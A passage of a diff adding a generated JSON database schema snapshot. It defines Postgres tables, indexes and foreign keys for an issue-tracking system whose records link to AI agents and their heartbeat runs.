+        },
+        "issue_comments_derived_author_agent_id_agents_id_fk": {
+          "name": "issue_comments_derived_author_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "derived_author_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_derived_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "derived_created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_agent_id_agents_id_fk": {
+          "name": "issue_comments_deleted_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "deleted_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_comments_deleted_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_comments",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "deleted_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_create_idempotency_keys": {
+      "name": "issue_create_idempotency_keys",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_create_idempotency_keys_company_key_uq": {
+          "name": "issue_create_idempotency_keys_company_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_issue_idx": {
+          "name": "issue_create_idempotency_keys_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_create_idempotency_keys_company_created_at_idx": {
+          "name": "issue_create_idempotency_keys_company_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_create_idempotency_keys_company_id_companies_id_fk": {
+          "name": "issue_create_idempotency_keys_company_id_companies_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_create_idempotency_keys_issue_id_issues_id_fk": {
+          "name": "issue_create_idempotency_keys_issue_id_issues_id_fk",
+          "tableFrom": "issue_create_idempotency_keys",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_documents": {
+      "name": "issue_documents",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "document_id": {
+          "name": "document_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "key": {
+          "name": "key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_documents_company_issue_key_uq": {
+          "name": "issue_documents_company_issue_key_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_document_uq": {
+          "name": "issue_documents_document_uq",
+          "columns": [
+            {
+              "expression": "document_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_documents_company_issue_updated_idx": {
+          "name": "issue_documents_company_issue_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_documents_company_id_companies_id_fk": {
+          "name": "issue_documents_company_id_companies_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_documents_issue_id_issues_id_fk": {
+          "name": "issue_documents_issue_id_issues_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_documents_document_id_documents_id_fk": {
+          "name": "issue_documents_document_id_documents_id_fk",
+          "tableFrom": "issue_documents",
+          "tableTo": "documents",
+          "columnsFrom": [
+            "document_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_execution_decisions": {
+      "name": "issue_execution_decisions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_id": {
+          "name": "stage_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "stage_type": {
+          "name": "stage_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "actor_agent_id": {
+          "name": "actor_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "actor_user_id": {
+          "name": "actor_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "outcome": {
+          "name": "outcome",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "body": {
+          "name": "body",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_execution_decisions_company_issue_idx": {
+          "name": "issue_execution_decisions_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_execution_decisions_stage_idx": {
+          "name": "issue_execution_decisions_stage_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "stage_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_execution_decisions_company_id_companies_id_fk": {
+          "name": "issue_execution_decisions_company_id_companies_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_issue_id_issues_id_fk": {
+          "name": "issue_execution_decisions_issue_id_issues_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_actor_agent_id_agents_id_fk": {
+          "name": "issue_execution_decisions_actor_agent_id_agents_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "actor_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_execution_decisions_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_execution_decisions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_inbox_archives": {
+      "name": "issue_inbox_archives",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "archived_by_actor_type": {
+          "name": "archived_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'user'"
+        },
+        "archived_by_agent_id": {
+          "name": "archived_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_by_run_id": {
+          "name": "archived_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "archived_at": {
+          "name": "archived_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_inbox_archives_company_issue_idx": {
+          "name": "issue_inbox_archives_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_user_idx": {
+          "name": "issue_inbox_archives_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_inbox_archives_company_issue_user_idx": {
+          "name": "issue_inbox_archives_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_inbox_archives_company_id_companies_id_fk": {
+          "name": "issue_inbox_archives_company_id_companies_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_issue_id_issues_id_fk": {
+          "name": "issue_inbox_archives_issue_id_issues_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_agent_id_agents_id_fk": {
+          "name": "issue_inbox_archives_archived_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "archived_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_inbox_archives_archived_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_inbox_archives",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "archived_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {
+        "issue_inbox_archives_archived_by_actor_type_check": {
+          "name": "issue_inbox_archives_archived_by_actor_type_check",
+          "value": "\"issue_inbox_archives\".\"archived_by_actor_type\" in ('user', 'agent')"
+        }
+      },
+      "isRLSEnabled": false
+    },
+    "public.issue_labels": {
+      "name": "issue_labels",
+      "schema": "",
+      "columns": {
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "label_id": {
+          "name": "label_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_labels_issue_idx": {
+          "name": "issue_labels_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_label_idx": {
+          "name": "issue_labels_label_idx",
+          "columns": [
+            {
+              "expression": "label_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_labels_company_idx": {
+          "name": "issue_labels_company_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_labels_issue_id_issues_id_fk": {
+          "name": "issue_labels_issue_id_issues_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_label_id_labels_id_fk": {
+          "name": "issue_labels_label_id_labels_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "labels",
+          "columnsFrom": [
+            "label_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_labels_company_id_companies_id_fk": {
+          "name": "issue_labels_company_id_companies_id_fk",
+          "tableFrom": "issue_labels",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {
+        "issue_labels_pk": {
+          "name": "issue_labels_pk",
+          "columns": [
+            "issue_id",
+            "label_id"
+          ]
+        }
+      },
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_plan_decompositions": {
+      "name": "issue_plan_decompositions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_plan_revision_id": {
+          "name": "accepted_plan_revision_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "accepted_interaction_id": {
+          "name": "accepted_interaction_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'in_flight'"
+        },
+        "request_fingerprint": {
+          "name": "request_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requested_child_count": {
+          "name": "requested_child_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "requested_children": {
+          "name": "requested_children",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "child_issue_ids": {
+          "name": "child_issue_ids",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'[]'::jsonb"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_user_id": {
+          "name": "owner_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "owner_run_id": {
+          "name": "owner_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_plan_decompositions_company_source_status_idx": {
+          "name": "issue_plan_decompositions_company_source_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_active_owner_idx": {
+          "name": "issue_plan_decompositions_active_owner_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "owner_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issue_plan_decompositions\".\"status\" = 'in_flight'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_plan_decompositions_source_revision_uq": {
+          "name": "issue_plan_decompositions_source_revision_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "accepted_plan_revision_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_plan_decompositions_company_id_companies_id_fk": {
+          "name": "issue_plan_decompositions_company_id_companies_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_source_issue_id_issues_id_fk": {
+          "name": "issue_plan_decompositions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_plan_revision_id_document_revisions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "document_revisions",
+          "columnsFrom": [
+            "accepted_plan_revision_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk": {
+          "name": "issue_plan_decompositions_accepted_interaction_id_issue_thread_interactions_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "issue_thread_interactions",
+          "columnsFrom": [
+            "accepted_interaction_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_agent_id_agents_id_fk": {
+          "name": "issue_plan_decompositions_owner_agent_id_agents_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "owner_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_plan_decompositions_owner_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_plan_decompositions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "owner_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_read_states": {
+      "name": "issue_read_states",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "user_id": {
+          "name": "user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "last_read_at": {
+          "name": "last_read_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_read_states_company_issue_idx": {
+          "name": "issue_read_states_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_user_idx": {
+          "name": "issue_read_states_company_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_read_states_company_issue_user_idx": {
+          "name": "issue_read_states_company_issue_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_read_states_company_id_companies_id_fk": {
+          "name": "issue_read_states_company_id_companies_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_read_states_issue_id_issues_id_fk": {
+          "name": "issue_read_states_issue_id_issues_id_fk",
+          "tableFrom": "issue_read_states",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_recovery_actions": {
+      "name": "issue_recovery_actions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "source_issue_id": {
+          "name": "source_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "recovery_issue_id": {
+          "name": "recovery_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "owner_type": {
+          "name": "owner_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'agent'"
+        },
+        "owner_agent_id": {
+          "name": "owner_agent_id",
